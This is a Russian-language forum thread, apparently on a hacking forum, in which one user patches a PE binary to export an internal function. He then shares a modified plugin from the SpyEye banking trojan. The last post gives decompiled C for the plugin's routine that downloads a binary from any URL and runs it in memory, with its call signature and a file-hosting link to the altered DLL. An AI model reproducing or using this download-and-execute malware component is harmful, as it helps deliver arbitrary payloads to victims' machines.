Вынос процедуры в экспорт

greenzy

(L3) cache
Пользователь
Регистрация
25.10.2010
Сообщения
208
Оценка реакций
1
Баллы
18
Доброй ночи всем кто не спит! Всем знатокам pe формата, да и просто любопытствующим предлагаю решить следующую загадку и облегчить мне жизнь.
В бинарнике есть функция, назовем ее sub_1029, есть импорт. Задача: как эту функцию сделать экспортируемой, кроме как вручную создавать таблицу экспорта?
 

greenzy

(L3) cache
Пользователь
Регистрация
25.10.2010
Сообщения
208
Оценка реакций
1
Баллы
18
нашел элегантное решение: подменили адреса функций и все :D
 

greenzy

(L3) cache
Пользователь
Регистрация
25.10.2010
Сообщения
208
Оценка реакций
1
Баллы
18
Разбираю спаевские плагины. Нашел плагин, имя ему RDP.dl. В манах его написано, что может скачивать total comander и запускать его из памяти. Процедура скачивания может качать любые файлы :D Идея была, вынести эту процедуру в экспорт и использоват во благо народа. В аттаче лежит измененный вариант. Формат вызова таков:

int __cdecl Load(CHAR *lpszUrl, //ссылка к бинарю
LPCSTR lpszVerb, // "GET"
LPCSTR lpszHeaders, // 0
int a4, // 0
LPVOID lpOptional, // 0
DWORD dwOptionalLength, // 0
int a7, // какая то хуева переменная, юзается в лоадере
LPDWORD lpdwNumberOfBytesAvailable, // dword
void (__cdecl *a9)(_DWORD, _DWORD)) // типа каллбека после загрузки


Load(lpszUrl, "GET", 0, 0, 0, 0, &dword_10011EA0, &dwNumberOfBytesAvailable, sub_10005EDA)

int __cdecl sub_10005EF9(CHAR *lpszUrl)
{
CHAR Text; // [sp+8h] [bp-410h]@4
int v3; // [sp+408h] [bp-10h]@7

if ( TryEnterCriticalSection(&CriticalSection) )
{
if ( !dword_10011EA0 && !Load(lpszUrl, "GET", 0, 0, 0, 0, &dword_10011EA0, &dwNumberOfBytesAvailable, sub_10005EDA) )
{
wsprintfA(&Text, "Cannot download Portable Total Commander for some reason. Url = { %s }", lpszUrl);
MessageBoxA(0, &Text, "ERROR", 0x10u);
}
LeaveCriticalSection(&CriticalSection);
}
if ( dword_10011EA0 && sub_10001A67(dword_10011EA0, &lpszUrl, 0, 0, &v3) )
(lpszUrl)();
return 0;
}


http://www.sendspace.com/file/v93k06
 
Верх